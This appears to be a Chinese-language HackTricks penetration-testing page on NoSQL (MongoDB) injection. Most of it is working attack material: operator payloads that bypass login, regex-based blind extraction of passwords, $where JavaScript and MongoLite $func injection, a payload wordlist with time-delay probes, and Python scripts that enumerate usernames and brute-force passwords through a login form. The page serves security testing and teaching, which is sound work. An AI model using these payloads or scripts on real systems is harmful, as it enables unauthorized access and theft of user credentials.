# NoSQL injection

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b98c9fbbc98929f4f21cab6c8d6d02d3844d23bd%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

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## 利用

在PHP中，您可以通过将发送的参数从\_parameter=foo\_更改为\_parameter\[arrName]=foo\_来发送一个数组。

这些利用是基于添加一个**运算符**：

```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```

### 基本身份验证绕过

**使用不等于 ($ne) 或大于 ($gt)**

```bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```

### **SQL - Mongo**

在MongoDB中，NoSQL注入是一种常见的攻击类型。攻击者可以利用不正确的输入验证或过滤来执行恶意操作。要防止NoSQL注入，应该使用参数化查询和安全的编程实践。

```javascript
query = { $where: `this.username == '${username}'` }
```

攻击者可以利用这一点，输入类似于 `admin' || 'a'=='a` 的字符串，使查询通过引入重言（`'a'=='a'`）来返回满足条件的所有文档。这类似于SQL注入攻击，其中使用类似于 `' or 1=1-- -` 的输入来操纵SQL查询。在MongoDB中，可以使用类似于 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a` 的输入来执行类似的注入。

```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a
```

### 提取**长度**信息

```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```

### 提取**数据**信息

```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```

### **SQL - Mongo**

### **SQL - Mongo**

```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found
```

### PHP任意函数执行

使用[MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite)库的\*\*$func\*\*运算符（默认使用）可能会导致像[这份报告](https://swarm.ptsecurity.com/rce-cockpit-cms/)中描述的任意函数执行。

```python
"user":{"$func": "var_dump"}
```

![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit\_auth\_check\_10.png](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c9a399394ce95a905d4ca3f7e1a812453e0fac92%2Fimage%20\(468\).png?alt=media)

### 从不同集合获取信息

可以使用[$lookup](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/)从不同的集合中获取信息。在下面的示例中，我们从一个名为`users`的**不同集合**中读取数据，并获取所有密码与通配符匹配的**条目的结果**。

**注意:** 只有在使用`aggregate()`函数执行搜索时，才能使用`$lookup`和其他聚合函数，而不能使用更常见的`find()`或`findOne()`函数。

```json
[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]
```

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

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## MongoDB 负载

列表[从这里](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)

```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```

## 盲注 NoSQL 脚本

```python
import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```

```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```

### 从POST登录中暴力破解用户名和密码

这是一个简单的脚本，你可以修改它，但之前的工具也可以执行这个任务。

```python
import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)
```

## 工具

* <https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration>
* <https://github.com/C4l1b4n/NoSQL-Attack-Suite>

## 参考资料

* <https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media>
* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection>
* <https://nullsweep.com/a-nosql-injection-primer-with-mongo/>
* <https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

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